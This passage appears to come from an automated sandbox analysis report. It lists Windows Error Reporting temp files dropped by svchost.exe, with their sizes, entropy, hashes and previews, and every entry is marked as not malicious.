SHA-512:	2D412C4335757A22863AA5AF79381853C1D43CA630CF0F05485E80420FB3F5AA411E434061B3D9B005B6A3D08266AB42BA4D638708EFB08D41F19532952DEAAB
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5FFA.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.694472420937313
Encrypted:	false
SSDEEP:	96:TiZYWcIVneYYXYjMgSFHQYEZJFtFihCMfSiwW+erd0aUnckMjYSIaew:2ZDhAIwBpaaUnfMjY1aew
MD5:	A6088096F92D5EEF1C28AE3E4031798F
SHA1:	B65043584081BEB6F0B856D1FC725104EBB8A92A
SHA-256:	E73BF36C267CA82212819C8FD343621B3FCF338C1AE08CCC450EAB74605EA68C
SHA-512:	1DB3544E296FB206F069058C17F99ACB3449CE56D85115775CA7ADED59B292D8E50050E1FCA58BECE0CBBBE0B82E8AD624E534AA9B435A359A95A89C3526CC10
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER61B1.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	94476
Entropy (8bit):	3.0745716679804755
Encrypted:	false
SSDEEP:	1536:Z+bpXw06P6GoyC/VV2aP0y7+RY05+Zj/q5c2I8ZBFMYvUB9GQe9/etY:Z+bpXw06P6GoyC/VV2aP0y7+RY05+Zju
MD5:	B682A57F4A12F21EE8B5417844EE9D13
SHA1:	443313944AA13362EC57136F09696464A597D73E
SHA-256:	2E04E7987F0BA0EE6B96BBE3132EFE03A29EACF78B6B912CE89D2D31DB2CE8E5
SHA-512:	09972CAF91DD7F4832897908217FA813B104E072B453C01163AC6DF8E178D0AA72DC3CB9A3DD0EA364AF98DC518AD30FDD12CF9EB5CDE720F7675AEAA755C5D5
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6319.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6946657982160356
Encrypted:	false
SSDEEP:	96:TiZYWhzuXtMYaY7Mg8bHeYEZxjdtFigMPSzwp+eFPZaLnrMbYMIGeC:2ZDMeNWup7aLnrMbYLGeC
MD5:	00929526E28B0C7DAD2CFF93560C7EC9
SHA1:	6CF12FFB0BB9BF1AEC342B113A70F50FFFD02B23
SHA-256:	FB3F68DCEB7C78A5AC55B0594005468238A5836D0D2DB35E099992DC0D2FAE34
SHA-512:	A86456D328B18B60638073D9128E4F741950A4C0E8AE1AE7C36E49291583B56256CC40D44B5B383D52EC54A1326C896E9561C52EA35707675131C88A84916AED
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER67AE.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95272
Entropy (8bit):	3.0738981743199383
Encrypted:	false
SSDEEP:	1536:q+6NDvDNAdKyCPV2aR0v7+RY05+Zj/q5cm66BKXFL1FUDqQvI21Adt:q+6NDvDNAdKyCPV2aR0v7+RY05+Zj/qe
MD5:	1AC3050BD22B3051EA790E0C1692F624
SHA1:	7764CD84BEC196A1025D31924EB71F5C3A729286
SHA-256:	D4789AF6326E75CB3B241578FB42DD9D4C5BC42B03B7A29E7C8E44C9F52366C3
SHA-512:	E4500D96800008550BB5375A9001B4F21F728A59C44C830A6574E20E0D531473CFCC9A1F84EBAADF3BE613CB3C9C182A0C32EB0486076C2477A342EDC0943D7C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6964.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95302
Entropy (8bit):	3.073824636132778
Encrypted:	false
SSDEEP:	1536:/7X9DZmWzjRlyClV2aRFv7+RY05+Zj/q5cJXSBNoFmHUKIv2/d0MYs7eG:/7X9DZmWzjRlyClV2aRFv7+RY05+Zj/e
MD5:	87A9AA3CC6EDF5489CEDC6436FFC5FE4
SHA1:	9FA11F4B8342BB532DBEDC978AB6E8DC712BE03C
SHA-256:	C4048C415CA01AC7A0D6602FFCFA41EE583155315E9089E207704E13A124B1C7
SHA-512:	F9202E36527D7BEBC16DA61CFCC151008B8C62CC95578E3301A71BD3954F578B4BA0221DBAF389D312E7A27A8DAB5B9CAC35A3C1C185455F3503557E78108376
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6AAE.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.694308655968021
Encrypted:	false
SSDEEP:	96:TiZYW0yUlGY0/YmKMgqWtHhYEZ577tFioM3SzwuePoSa5nlMiYxIPef:2ZDR5vCoVa5nlMiYuPef
MD5:	AE519EDC786BAA6CB593AC7F1D3D4C3F
SHA1:	57CBAA74FDAE34C55AF96BE98BAAB51BE4A2B1CA
SHA-256:	AD9BB7C0D98B0816F94980E4CAC0480BC9CAB80DD153102B822FED1F4E79006A
SHA-512:	7C6C79B6DBABF8F26F903D7913901E38263B9EC222ACDD1C3ECEBC20863226F3770C08D741FDC66E857E6D074295564C4EDD4EDC8981AFF4F09E9B940EE537B7
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B2C.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6940069023087436
Encrypted:	false
SSDEEP:	96:TiZYWSFagPY0pYwMgQcsHhYEZoJBtFigMcSzwYeb4xZa6nOMuYEIQef:2ZD4PTJ8/a6nOMuYzQef
MD5:	035E8751F3954DB99C48A2660EE7D567
SHA1:	3B650CFD0C2F27F2709AF607749067787985D8E5
SHA-256:	939881794B9BE67BD67A3CB7D3B3A5BB1B2079A1484B47421AB2E346C294149B
SHA-512:	4F1F188ABD253E79931FAB6DB54E0B4CF67BAA0F7AB19483D6426B2D63BD15C29DDB4A9ABA5D95B70CDEA479353E5185B760596EB4DD1F235C474B2D1FD5AEAE
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER714.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6851661790240278
Encrypted:	false
SSDEEP:	96:TiZYW7FuGqxZMYsQYhWeuaaEHIYEZ+VtFi6Ml7GtwuEI2OaIgVM0/PIXn3:2ZDMMsBUFEIJaIgVM0/gXn3
MD5:	1269F7C67CD3AC62883135B32384A9E1
SHA1:	ECE3C94174E6B86FCD8ABC29E458C53B9A1C8992
SHA-256:	45B26555C52697B47BADAE58AA37A95D8F123F21FDCD89C57A98F641F0885897
SHA-512:	2A8CE342E50EE34642D5037A578A63AC99FE0989BDE592B1B23D0584317A02FDF829214635F10A784832DB626E740F39E02B42AA9B662B5CED5F303547B0BF1F
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7157.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95366
Entropy (8bit):	3.073872688828844
Encrypted:	false
SSDEEP:	1536:o6fMDR2IMYRgCRV2aRFJ27+RY05+Zj/q5cXZrBm7VoUVaV8fSKQeM:o6fMDR2IMYRgCRV2aRFJ27+RY05+Zj/J
MD5:	E23495048ABFD05621E342523EEBC71C
SHA1:	51D4DA47E5A06D90F0983F671443F403B6406650
SHA-256:	5D2274A1753A4569AD4F4DBCB2F072B0F2F670E2C8E9B08215FE9D09DD48B75D
SHA-512:	8148E7B4150009C89AD0AF8E1D8B71F60FC987718E85F629B1FBA36DA420A854AF06DA514A48BA67834385720007576E7D848C2315A131529C823F9B290AAC2A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7167.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95366
Entropy (8bit):	3.0740162916255813
Encrypted:	false
SSDEEP:	1536:eufMDRxIMPRgCRV2aRFJ27+RY05+Zj/q5cXarBO7VoUVa+cSKQeM:eufMDRxIMPRgCRV2aRFJ27+RY05+Zj/p
MD5:	615E92931D61C48E3A6B6893EA47A0B1
SHA1:	C37E460B3CABFDF5774947EFB3681E6217B4E184
SHA-256:	A18497166D0A079A7D3AFE3B499DF744A44BD9BE14A9E39F26171FE84D8C3E0A
SHA-512:	62D23E7D90414E540A2949863A21802D4ECF17BC8A33F83352BD4C5A20368E8B57047B5623D1EBC1BC5E22461AD87A914BB9C9480D7D0607EF6F7D696F6E1DE0
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER72A1.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695149930636188
Encrypted:	false
SSDEEP:	96:TiZYWlvkkSAYUYGhyqH2YEZSZmtFiKM0Siwbe57naxnyMHYjKIxeM:2ZDl7jHQtaxnyMHYZxeM
MD5:	7C741A0F09CC4586681765B5D0F26AA4
SHA1:	83D459DAF41B613F8416A6C81E6CD1BFBB1E518C
SHA-256:	2415E4C2E9F2B0C325726B0CF6D4B7D293E048649ADEC13A03934179C7E8F64C
SHA-512:	E1D6D846E17FC1B5401D75DB005AFE5C99983C90A40395C9FE3AD221479CC0FDDF685DF261C007A1CF3C0D356191EB2BFE7CC72C1E9657840D031085B7BF74E7
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

